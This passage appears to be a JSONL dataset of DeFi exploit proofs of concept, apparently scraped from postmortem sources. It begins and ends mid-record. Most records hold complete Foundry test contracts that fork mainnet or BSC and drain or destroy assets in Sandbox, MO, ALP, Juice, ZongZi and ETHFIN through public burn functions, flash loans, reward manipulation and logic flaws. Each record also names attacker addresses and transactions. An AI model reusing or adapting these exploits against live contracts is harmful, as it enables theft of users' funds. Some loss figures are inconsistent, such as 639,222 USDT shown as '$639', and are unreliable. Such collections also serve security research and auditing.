"2022-02", "file_name": "TecraSpace_exp.sol", "attack_vector": null, "content_hash": "fd8bccd1b1173d92", "collected_at": "2026-01-07T10:59:16.522986", "_source": "postmortems", "chain": "ethereum", "block_number": 14139082, "total_lost_raw": "639,222 $USDT", "total_lost_usd": 639.0, "attacker_address": "https://etherscan.io/address/0xb19b7f59c08ea447f82b587c058ecbf5fde9c299", "attack_contract": "https://etherscan.io/address/0x6653d9bcbc28fc5a2f5fb5650af8f2b2e1695a15", "vulnerable_contract": null, "attack_tx": "https://app.blocksec.com/explorer/tx/eth/0x81e9918e248d14d78ff7b697355fd9f456c6d7881486ed14fdfb69db16631154", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": false, "has_attack_vector": false, "severity": "low", "severity_raw": "639,222 $USDT", "category": "unknown", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "639,222 $USDT", "keyinfo_attacker": "https://etherscan.io/address/0xb19b7f59c08ea447f82b587c058ecbf5fde9c299", "keyinfo_attack_contract": "https://etherscan.io/address/0x6653d9bcbc28fc5a2f5fb5650af8f2b2e1695a15", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "https://app.blocksec.com/explorer/tx/eth/0x81e9918e248d14d78ff7b697355fd9f456c6d7881486ed14fdfb69db16631154", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$639", "content_richness_score": 4.73, "quality_estimate": "low", "title": "TecraSpace Exploit (2022-02)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\n// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol v0.5.3. SEE SOURCE BELOW. !!\npragma solidity >=0.7.0 <0.9.0;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\ncontract ContractTest is Test {\n ILand Land = ILand(0x50f5474724e0Ee42D9a4e711ccFB275809Fd6d4a);\n address victim = 0x9cfA73B8d300Ec5Bf204e4de4A58e5ee6B7dC93C;\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"mainnet\", 14_163_041); //fork mainnet at block 14163041\n }\n\n function testExploit() public {\n cheats.startPrank(0x6FB0B915D0e10c3B2ae42a5DD879c3D995377A2C);\n console.log(\"Before exploiting, victim owned NFT:\", Land._numNFTPerAddress(victim)); // 2762 is the number of NFTs in the victim's account.\n for (uint256 i = 0; i < 100; i++) {\n // let's try to burn 100 nfts\n Land._burn(victim, victim, 3738); // _burn function that was set to be called was set in a public state, anyone can burn any user's NFT.\n }\n console.log(\"After exploiting, victim owned NFT:\", Land._numNFTPerAddress(victim));\n }\n}\n", "type": "exploit_poc", "protocol": "Sandbox", "date": "2022-02", "file_name": "Sandbox_exp.sol", "attack_vector": null, "content_hash": "c8ab3a6d741f2de8", "collected_at": "2026-01-07T10:59:16.523031", "_source": "postmortems", "chain": "unknown", "block_number": 14163041, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "function testExploit() public {\n cheats.startPrank(0x6FB0B915D0e10c3B2ae42a5DD879c3D995377A2C);\n console.log(\"Before exploiting, victim owned NFT:\", Land._numNFTPerAddress(victim)); // 2762 is the number of NFTs in the victim's account.\n for (uint256 i = 0; i < 100; i++) {\n // let's try to burn 100 nfts\n Land._burn(victim, victim, 3738); // _burn function that was set to be called was set in a public state, anyone can burn any user's NFT.\n }\n console.log(\"After exploiting, victim owned NFT:\", Land._numNFTPerAddress(victim));\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 2.59, "quality_estimate": "low", "title": "Sandbox Exploit (2022-02)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// TX : https://app.blocksec.com/explorer/tx/optimism/0x4ec3061724ca9f0b8d400866dd83b92647ad8c943a1c0ae9ae6c9bd1ef789417\n \n// Profit : ~413K USD,but i get more\n// REASON : Bussiness Logic Flaw\n\ninterface Loan {\n function borrow(uint256 amount, uint256 duration) external;\n function redeem(\n uint256 index\n ) external;\n function borrowOrdersCount(\n address account\n ) external view returns (uint256);\n}\n\ninterface Relation {\n function bind(\n address referrer\n ) external;\n function hasBinded(\n address user\n ) external view returns (bool);\n}\n\ncontract contractTest is Test {\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n IERC20 constant MO = IERC20(0x61445Ca401051c86848ea6b1fAd79c5527116AA1);\n IERC20 constant USDT = IERC20(0x94b008aA00579c1307B0EF2c499aD98a8ce58e58);\n Loan constant LOAN = Loan(0xAe7b6514Af26BcB2332FEA53B8Dd57bc13A7838E);\n address constant approve_proxy = 0x9D8355a8D721E5c79589ac0aB49BC6d3e0eF7C3F;\n Uni_Router_V2 private constant Router = Uni_Router_V2(0x9eADD135641f8b8cC4E060D33d63F8245f42bE59);\n Uni_Pair_V2 UniV2Pair = Uni_Pair_V2(0x4a6E0fAd381d992f9eB9C037c8F78d788A9e8991);\n Relation RELAT = Relation(0xb03B377d524AF7D5b3769414d969FFe627C062F9);\n uint256 mo_balance;\n\n function setUp() public {\n cheats.createSelectFork(\"optimism\", 117_395_511);\n }\n\n function testExploit() external {\n emit log_named_decimal_uint(\"[Begin] Attacker USDT before exploit\", USDT.balanceOf(address(this)), 6);\n deal(address(MO), address(this), 62_147_724);\n Money bind_contract = new Money();\n bind_contract.approve(address(this));\n // Here can bind some reffer address but can't find the first reffer = =\n // RELAT.bind(address(bind_contract));\n MO.approve(address(approve_proxy), type(uint256).max);\n USDT.approve(address(approve_proxy), type(uint256).max);\n mo_balance = MO.balanceOf(address(this));\n // console.log(MO.balanceOf(address(UniV2Pair)));\n uint256 i = 0;\n while (i < 80) {\n try this.do_some_borrow(i) {}\n catch {\n break;\n }\n i++;\n }\n LOAN.borrow(MO.balanceOf(address(UniV2Pair)) - 1, 0);\n // console.log(MO.balanceOf(address(UniV2Pair)));\n MO.approve(address(Router), type(uint256).max);\n address[] memory path = new address[](2);\n path[0] = address(MO);\n path[1] = address(USDT);\n // Router.swapExactTokensForTokens(MO.balanceOf(address(this)), 0, path, address(this), block.timestamp + 100);\n MO.transfer(address(Router), 10); // need some token for pair to send.\n Router.swapExactTokensForTokens(3, 0, path, address(this), block.timestamp + 100);\n emit log_named_decimal_uint(\"[End] Attacker USDT after exploit\", USDT.balanceOf(address(this)), 6);\n }\n\n function do_some_borrow(\n uint256 i\n ) public {\n LOAN.borrow(mo_balance, 0);\n LOAN.redeem(i);\n }\n}\n\ncontract Money {\n IERC20 constant MO = IERC20(0x61445Ca401051c86848ea6b1fAd79c5527116AA1);\n\n function approve(\n address a\n ) public {\n MO.approve(address(a), type(uint256).max);\n }\n}\n", "type": "exploit_poc", "protocol": "MO", "date": "2024-03", "file_name": "MO_exp.sol", "attack_vector": null, "content_hash": "af754af64b637759", "collected_at": "2026-01-07T10:59:16.523075", "_source": "postmortems", "chain": "unknown", "block_number": 117395511, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 1.7, "quality_estimate": "low", "title": "MO Exploit (2024-03)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// Attacker : https://bscscan.com/address/0xff61Ba33Ed51322BB716EAb4137Adf985644b94d\n// Attack Contract : https://bscscan.com/address/0x0edf13f6bd033f0f267d46c6e9dff9c7190e0fa0\n// Attack Tx : https://app.blocksec.com/explorer/tx/bsc/0x9983ca8eaee9ee69629f74537eaf031272af75f1e5a7725911d8b06df17c67ca\n \n// Profit : 10K USD\n// REASON : public interal call\n\nstruct ApolloXRedeemData {\n address alpTokenOut;\n uint256 minOut;\n address tokenOut;\n bytes aggregatorData;\n}\n\nstruct RedeemData {\n uint256 amount;\n address receiver;\n ApolloXRedeemData apolloXRedeemData;\n}\n\ninterface Vun {\n function _swap(address tokenForSwap, bytes memory agg) external;\n}\n\ninterface Alp is IERC20 {\n function maxRedeem(\n address owner\n ) external returns (uint256 maxShares);\n function redeem(uint256 shares, RedeemData calldata redeemData) external;\n}\n\ncontract ContractTest is Test {\n IERC20 constant USDT = Alp(0x55d398326f99059fF775485246999027B3197955);\n Alp constant ALP_APO = Alp(0x9Ad45D46e2A2ca19BBB5D5a50Df319225aD60e0d);\n Vun constant VUN = Vun(0xD188492217F09D18f2B0ecE3F8948015981e961a);\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() external {\n cheats.createSelectFork(\"bsc\", 36_727_073);\n deal(address(USDT), address(this), 0);\n }\n\n function testExploit() external {\n emit log_named_decimal_uint(\"[End] Attacker USDT before exploit\", USDT.balanceOf(address(this)), 18);\n uint256 VUN_balance = ALP_APO.balanceOf(address(VUN));\n uint256[] memory pools = new uint256[](1);\n pools[0] = uint256(1_457_847_883_966_391_224_294_152_661_087_436_089_985_854_139_374_837_306_518); // translate into hex,contain your address\n VUN._swap(\n address(ALP_APO),\n abi.encodeWithSignature(\n \"unoswapTo(address,address,uint256,uint256,uint256[])\",\n address(this),\n address(ALP_APO),\n VUN_balance,\n 0,\n pools\n )\n );\n ALP_APO.maxRedeem(address(this));\n ALP_APO.approve(address(ALP_APO), VUN_balance);\n RedeemData memory r;\n r.amount = VUN_balance;\n r.receiver = address(this);\n r.apolloXRedeemData.alpTokenOut = address(USDT);\n r.apolloXRedeemData.minOut = 0;\n r.apolloXRedeemData.tokenOut = address(USDT);\n r.apolloXRedeemData.aggregatorData = \"\";\n ALP_APO.redeem(VUN_balance, r);\n emit log_named_decimal_uint(\"[End] Attacker USDT balance after exploit\", USDT.balanceOf(address(this)), 18);\n }\n\n function swap(uint256 a, uint256 b, address c, bytes memory d) external {}\n\n function getReserves() public view returns (uint256, uint256, uint256) {\n return (1, 1, block.timestamp);\n }\n}\n", "type": "exploit_poc", "protocol": "ALP", "date": "2024-03", "file_name": "ALP_exp.sol", "attack_vector": null, "content_hash": "51844aaf72e73151", "collected_at": "2026-01-07T10:59:16.523128", "_source": "postmortems", "chain": "bsc", "block_number": 36727073, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": "https://bscscan.com/address/0xff61Ba33Ed51322BB716EAb4137Adf985644b94d", "attack_contract": "https://bscscan.com/address/0x0edf13f6bd033f0f267d46c6e9dff9c7190e0fa0", "vulnerable_contract": null, "attack_tx": "https://app.blocksec.com/explorer/tx/bsc/0x9983ca8eaee9ee69629f74537eaf031272af75f1e5a7725911d8b06df17c67ca", "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "", "keyinfo_attacker": "https://bscscan.com/address/0xff61Ba33Ed51322BB716EAb4137Adf985644b94d", "keyinfo_attack_contract": "https://bscscan.com/address/0x0edf13f6bd033f0f267d46c6e9dff9c7190e0fa0", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "https://app.blocksec.com/explorer/tx/bsc/0x9983ca8eaee9ee69629f74537eaf031272af75f1e5a7725911d8b06df17c67ca", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 3.48, "quality_estimate": "low", "title": "ALP Exploit (2024-03)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.15;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~54 ETH\n// Attacker : https://etherscan.io/address/0x3fA19214705BC82cE4b898205157472A79D026BE\n// Attack Contract : https://etherscan.io/address/0xa8b45dEE8306b520465f1f8da7E11CD8cFD1bBc4\n// Vulnerable Contract : https://etherscan.io/address/0x8584ddbd1e28bca4bc6fb96bafe39f850301940e\n// Attack Tx : https://etherscan.io/tx/0xc9b2cbc1437bbcd8c328b6d7cdbdae33d7d2a9ef07eca18b4922aac0430991e7\n\n// @Info\n// Vulnerable Contract Code : https://etherscan.io/address/0x8584ddbd1e28bca4bc6fb96bafe39f850301940e#code\n\ninterface IStake {\n function harvest(\n uint256\n ) external;\n function stake(uint256, uint256) external;\n}\n\ncontract Juice is Test {\n uint256 blocknumToForkFrom = 19_395_636;\n IERC20 JUICE = IERC20(0xdE5d2530A877871F6f0fc240b9fCE117246DaDae);\n IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\n IStake JuiceStaking = IStake(0x8584DdbD1E28bCA4bc6Fb96baFe39f850301940e);\n\n Uni_Router_V2 Router = Uni_Router_V2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", blocknumToForkFrom);\n }\n\n function testExploit() public {\n emit log_named_decimal_uint(\"[Start] Attacker ETH balance before exploit\", address(this).balance, 18);\n\n //stake 0.5 ETH\n ETHtoJUICE(0.5 ether);\n JUICE.approve(address(JuiceStaking), type(uint256).max);\n JuiceStaking.stake(JUICE.balanceOf(address(this)), 3_000_000_000);\n\n // harvest JUICE token a block later\n vm.roll(block.number + 1);\n vm.warp(block.timestamp + 12);\n JuiceStaking.harvest(0);\n JUICE.approve(address(Router), type(uint256).max);\n JUICEtoETH();\n\n // Log balances after exploit\n emit log_named_decimal_uint(\"[End] Attacker ETH Balance After exploit\", address(this).balance, 18);\n }\n\n function ETHtoJUICE(\n uint256 amount\n ) internal {\n address[] memory path = new address[](2);\n path[0] = address(WETH);\n path[1] = address(JUICE);\n Router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: amount}(\n 0, path, address(this), block.timestamp + 60\n );\n }\n\n function JUICEtoETH() internal {\n address[] memory path = new address[](2);\n path[0] = address(JUICE);\n path[1] = address(WETH);\n Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n JUICE.balanceOf(address(this)), 0, path, address(this), block.timestamp + 60\n );\n }\n\n fallback() external payable {}\n}\n", "type": "exploit_poc", "protocol": "Juice", "date": "2024-03", "file_name": "Juice_exp.sol", "attack_vector": null, "content_hash": "e8f3ac6f4e4c71af", "collected_at": "2026-01-07T10:59:16.523177", "_source": "postmortems", "chain": "ethereum", "block_number": null, "total_lost_raw": "~54 ETH", "total_lost_usd": 54.0, "attacker_address": "https://etherscan.io/address/0x3fA19214705BC82cE4b898205157472A79D026BE", "attack_contract": "https://etherscan.io/address/0xa8b45dEE8306b520465f1f8da7E11CD8cFD1bBc4", "vulnerable_contract": "https://etherscan.io/address/0x8584ddbd1e28bca4bc6fb96bafe39f850301940e", "attack_tx": "https://etherscan.io/tx/0xc9b2cbc1437bbcd8c328b6d7cdbdae33d7d2a9ef07eca18b4922aac0430991e7", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": false, "has_attack_vector": false, "severity": "low", "severity_raw": "~54 ETH", "category": "unknown", "exploit_code": "function testExploit() public {\n emit log_named_decimal_uint(\"[Start] Attacker ETH balance before exploit\", address(this).balance, 18);\n\n //stake 0.5 ETH\n ETHtoJUICE(0.5 ether);\n JUICE.approve(address(JuiceStaking), type(uint256).max);\n JuiceStaking.stake(JUICE.balanceOf(address(this)), 3_000_000_000);\n\n // harvest JUICE token a block later\n vm.roll(block.number + 1);\n vm.warp(block.timestamp + 12);\n JuiceStaking.harvest(0);\n JUICE.approve(address(Router), type(uint256).max);\n JUICEtoETH();\n\n // Log balances after exploit\n emit log_named_decimal_uint(\"[End] Attacker ETH Balance After exploit\", address(this).balance, 18);\n }", "has_exploit_code": true, "keyinfo_total_lost": "~54 ETH", "keyinfo_attacker": "https://etherscan.io/address/0x3fA19214705BC82cE4b898205157472A79D026BE", "keyinfo_attack_contract": "https://etherscan.io/address/0xa8b45dEE8306b520465f1f8da7E11CD8cFD1bBc4", "keyinfo_vulnerable_contract": "https://etherscan.io/address/0x8584ddbd1e28bca4bc6fb96bafe39f850301940e", "keyinfo_attack_tx": "https://etherscan.io/tx/0xc9b2cbc1437bbcd8c328b6d7cdbdae33d7d2a9ef07eca18b4922aac0430991e7", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$54", "content_richness_score": 7.35, "quality_estimate": "medium", "title": "Juice Exploit (2024-03)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~$223K\n// Attacker : https://bscscan.com/address/0x2c42824ef89d6efa7847d3997266b62599560a26\n// Attack Contract : https://bscscan.com/address/0x0bd0d9ba4f52db225b265c3cffa7bc4a418d22a9\n// Vuln Contract : https://bscscan.com/address/0xb7a254237e05ccca0a756f75fb78ab2df222911b\n// Attack txs : https://app.blocksec.com/explorer/tx/bsc/0x247f4b3dbde9d8ab95c9766588d80f8dae835129225775ebd05a6dd2c69cd79f\n\n// @Analysis\n \n\ninterface IZZF is IERC20 {\n function burnToHolder(uint256 amount, address _invitation) external;\n\n function receiveRewards(\n address to\n ) external;\n}\n\ncontract ContractTest is Test {\n IWETH private constant WBNB = IWETH(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));\n IERC20 private constant ZongZi = IERC20(0xBB652D0f1EbBc2C16632076B1592d45Db61a7a68);\n Uni_Pair_V2 private constant BUSDT_WBNB = Uni_Pair_V2(0x16b9a82891338f9bA80E2D6970FddA79D1eb0daE);\n Uni_Pair_V2 private constant WBNB_ZONGZI = Uni_Pair_V2(0xD695C08a4c3B9FC646457aD6b0DC0A3b8f1219fe);\n Uni_Router_V2 private constant Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);\n address private constant attackContract = 0x0bd0D9BA4f52dB225B265c3Cffa7bc4a418D22A9;\n bytes32 private constant attackTx = hex\"247f4b3dbde9d8ab95c9766588d80f8dae835129225775ebd05a6dd2c69cd79f\";\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", attackTx);\n vm.label(address(WBNB), \"WBNB\");\n vm.label(address(ZongZi), \"ZongZi\");\n vm.label(address(BUSDT_WBNB), \"BUSDT_WBNB\");\n vm.label(address(WBNB_ZONGZI), \"WBNB_ZONGZI\");\n vm.label(address(Router), \"Router\");\n }\n\n function testExploit() public {\n emit log_named_decimal_uint(\"Exploiter WBNB balance before attack\", WBNB.balanceOf(address(this)), 18);\n\n uint256 pairWBNBBalance = WBNB.balanceOf(address(WBNB_ZONGZI));\n uint256 multiplier = uint256(vm.load(attackContract, bytes32(uint256(9))));\n\n uint256 amount1Out = (pairWBNBBalance * multiplier) / ((pairWBNBBalance * 100) / address(ZongZi).balance);\n\n BUSDT_WBNB.swap(0, amount1Out, address(this), abi.encode(uint8(1)));\n\n emit log_named_decimal_uint(\"Exploiter WBNB balance after attack\", WBNB.balanceOf(address(this)), 18);\n }\n\n function pancakeCall(address _sender, uint256 _amount0, uint256 _amount1, bytes calldata _data) external {\n Helper helper = new Helper();\n WBNB.transfer(address(helper), _amount1);\n helper.exploit();\n\n ZongZi.approve(address(Router), type(uint256).max);\n address[] memory path = new address[](2);\n path[0] = address(ZongZi);\n path[1] = address(WBNB);\n\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n ZongZi.balanceOf(address(this)), 0, path, address(this), block.timestamp + 86_400\n );\n WBNB.transfer(address(BUSDT_WBNB), (_amount1 * 10_026) / 10_000);\n }\n}\n\ncontract Helper {\n IWETH private constant WBNB = IWETH(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));\n IERC20 private constant ZongZi = IERC20(0xBB652D0f1EbBc2C16632076B1592d45Db61a7a68);\n IZZF private constant ZZF = IZZF(0xB7a254237E05cccA0a756f75FB78Ab2Df222911b);\n Uni_Router_V2 private constant Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);\n\n function exploit() external {\n WBNB.approve(address(Router), type(uint256).max);\n ZongZi.approve(address(Router), type(uint256).max);\n uint256 balanceBeforeWBNB = WBNB.balanceOf(address(this));\n\n makeSwap(1e17, address(WBNB), address(ZongZi));\n makeSwap(ZongZi.balanceOf(address(this)), address(ZongZi), address(WBNB));\n\n uint256 amountIn = balanceBeforeWBNB - 1e17;\n makeSwap(amountIn, address(WBNB), address(ZongZi));\n\n uint256 amountOut = address(ZongZi).balance - 1e9;\n address[] memory path = new address[](2);\n path[0] = address(ZongZi);\n path[1] = address(WBNB);\n uint256[] memory amounts = Router.getAmountsIn(amountOut, path);\n\n ZZF.burnToHolder(amounts[0], msg.sender);\n ZZF.receiveRewards(address(this));\n\n makeSwap(ZongZi.balanceOf(address(this)), address(ZongZi), address(WBNB));\n\n WBNB.deposit{value: address(this).balance}();\n WBNB.transfer(msg.sender, WBNB.balanceOf(address(this)));\n }\n\n function makeSwap(uint256 amountIn, address tokenA, address tokenB) private {\n address[] memory path = new address[](2);\n path[0] = tokenA;\n path[1] = tokenB;\n\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n amountIn, 0, path, address(this), block.timestamp + 86_400\n );\n }\n\n receive() external payable {}\n}\n", "type": "exploit_poc", "protocol": "ZongZi", "date": "2024-03", "file_name": "ZongZi_exp.sol", "attack_vector": null, "content_hash": "b7cb0879ce04dffb", "collected_at": "2026-01-07T10:59:16.523229", "_source": "postmortems", "chain": "bsc", "block_number": null, "total_lost_raw": "~$223K", "total_lost_usd": 223000.0, "attacker_address": "https://bscscan.com/address/0x2c42824ef89d6efa7847d3997266b62599560a26", "attack_contract": "https://bscscan.com/address/0x0bd0d9ba4f52db225b265c3cffa7bc4a418d22a9", "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "high", "severity_raw": "~$223K", "category": "unknown", "exploit_code": "function testExploit() public {\n emit log_named_decimal_uint(\"Exploiter WBNB balance before attack\", WBNB.balanceOf(address(this)), 18);\n\n uint256 pairWBNBBalance = WBNB.balanceOf(address(WBNB_ZONGZI));\n uint256 multiplier = uint256(vm.load(attackContract, bytes32(uint256(9))));\n\n uint256 amount1Out = (pairWBNBBalance * multiplier) / ((pairWBNBBalance * 100) / address(ZongZi).balance);\n\n BUSDT_WBNB.swap(0, amount1Out, address(this), abi.encode(uint8(1)));\n\n emit log_named_decimal_uint(\"Exploiter WBNB balance after attack\", WBNB.balanceOf(address(this)), 18);\n }", "has_exploit_code": true, "keyinfo_total_lost": "~$223K", "keyinfo_attacker": "https://bscscan.com/address/0x2c42824ef89d6efa7847d3997266b62599560a26", "keyinfo_attack_contract": "https://bscscan.com/address/0x0bd0d9ba4f52db225b265c3cffa7bc4a418d22a9", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$223.0K", "content_richness_score": 6.43, "quality_estimate": "medium", "title": "ZongZi Exploit (2024-03)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.15;\n\nimport \"../basetest.sol\";\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~$1.24K (2.13 BNB)\n// Attacker : https://bscscan.com/address/0x52e38d496f8d712394d5ed55e4d4cdd21f1957de\n// Attack Contract : https://bscscan.com/address/0x11bfd986299bb0d5666536e361f312198e882642\n// Vulnerable Contract : https://bscscan.com/address/0x17bd2e09fa4585c15749f40bb32a6e3db58522ba\n// Attack Tx : https://bscscan.com/tx/0xfe031685d84f3bae1785f5b2bd0ed480b87815c3f23ce6ced73b8573b7e367c6\n\n// @Info\n// Vulnerable Contract Code : https://bscscan.com/address/0x17bd2e09fa4585c15749f40bb32a6e3db58522ba#code\n\n// @Analysis\n// Post-mortem :\n// Twitter Guy :\n// Hacking God :\npragma solidity ^0.8.0;\n\ninterface IETHFIN {\n function N_holders() external view returns (uint256);\n function NextBuybackMemberCount() external view returns (uint256);\n function transfer(address, uint256) external;\n}\n\ninterface IPancakePool {\n function flash(address recipient, uint256 amount0, uint256 amount1, bytes calldata data) external;\n}\n\ninterface IETHFINToken {\n function doBuyback() external returns (bool);\n}\n\ncontract ETHFIN is BaseTestWithBalanceLog {\n address wbnbAddress = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;\n IWBNB wbnb = IWBNB(payable(wbnbAddress));\n\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n address router_address = 0x10ED43C718714eb63d5aA57B78B54704E256024E;\n Uni_Router_V2 router = Uni_Router_V2(payable(router_address));\n\n address ethfin = 0x17Bd2E09fA4585c15749F40bb32a6e3dB58522bA;\n IERC20 ethfinToken = IERC20(ethfin);\n\n address pancakeV3Pool = 0x172fcD41E0913e95784454622d1c3724f546f849;\n\n address eftoken = 0xA964a6dab034A4b5985603f7e86a596c7e0eA96e;\n IERC20 ef_token = IERC20(eftoken);\n\n address pancakeSwap = 0x2b73Ee230dB9d7ddB51B859a3B59Ce48eB5aB4D9; //ethfin-finsimp\n address pancakeSwap2 = 0x168FDb7C2d4249485836595c8576D8f2D7c53a46; //ethfin-ethfin\n address pancakeSwap3 = 0x3544DA62afB297b5cE9DA14845C89b96D376D98C; //ethfin-wbnb\n\n function setUp() external {\n cheats.createSelectFork(\"bsc\", 37_400_485 - 1);\n deal(address(ethfinToken), address(this), 1500); // initial tokens\n }\n\n function testExploit() external {\n uint256 init = address(this).balance;\n uint256 holders = IETHFIN(ethfin).N_holders();\n uint256 next_buy_back_member = IETHFIN(ethfin).NextBuybackMemberCount();\n uint160 base = 501;\n // weird loop\n while (holders <= next_buy_back_member) {\n IETHFIN(ethfin).transfer(address(base), 1);\n holders = IETHFIN(ethfin).N_holders();\n base++;\n }\n IPancakePool(pancakeV3Pool).flash(\n address(this),\n 0,\n 12_000_000_000_000_000_000,\n abi.encode(0x000000000000000000000000172fcd41e0913e95784454622d1c3724f546f849)\n );\n uint256 after_attack = address(this).balance;\n emit log_named_decimal_uint(\"Attacker BNB end exploited\", after_attack - init, 18);\n }\n\n function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {\n wbnb.approve(router_address, type(uint256).max);\n address[] memory path = new address[](2);\n path[0] = wbnbAddress;\n path[1] = eftoken;\n uint256[] memory amounts = router.swapTokensForExactTokens(\n 543_357_312_592_081_354_942_659_827, 12_000_000_000_000_000_000, path, pancakeSwap, block.timestamp + 120\n );\n IPancakePair(pancakeSwap).skim(eftoken);\n\n uint256[] memory amounts2 = router.swapTokensForExactTokens(\n 10, wbnb.balanceOf(address(this)), path, pancakeSwap2, block.timestamp + 120\n );\n path[1] = ethfin;\n router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n wbnb.balanceOf(address(this)) - 1000, 0, path, pancakeSwap2, block.timestamp + 120\n );\n IPancakePair(pancakeSwap2).skim(address(this));\n\n bool status = IETHFINToken(ethfin).doBuyback();\n require(status, \"Buyback failed\");\n\n path[1] = eftoken;\n uint256[] memory amounts3 = router.swapTokensForExactTokens(\n 10, wbnb.balanceOf(address(this)), path, pancakeSwap2, block.timestamp + 120\n );\n uint256 ethfin_balance = ethfinToken.balanceOf(address(this));\n IERC20(ethfin).transfer(pancakeSwap2, ethfin_balance);\n IPancakePair(pancakeSwap2).skim(pancakeSwap3);\n\n address[] memory path2 = new address[](2);\n path2[0] = ethfin;\n path2[1] = wbnbAddress;\n uint256[] memory amounts_out = router.getAmountsOut(ethfin_balance, path2);\n IPancakePair(pancakeSwap3).swap(0, amounts_out[1], address(this), \"\");\n\n wbnb.transfer(pancakeV3Pool, 12_001_200_000_000_000_000);\n wbnb.withdraw(wbnb.balanceOf(address(this)));\n }\n\n fallback() external payable {}\n}\n", "type": "exploit_poc", "protocol": "ETHFIN", "date": "2024-03", "file_name": "ETHFIN_exp.sol", "attack_vector": null, "content_hash": "4320ab2191c130da", "collected_at": "2026-01-07T10:59:16.523290", "_source": "postmortems", "chain": "bsc", "block_number": 37400485, "total_lost_raw": "~$1.24K (2.13 BNB)", "total_lost_usd": 1240.0, "attacker_address": "https://bscscan.com/address/0x52e38d496f8d712394d5ed55e4d4cdd21f1957de", "attack_contract": 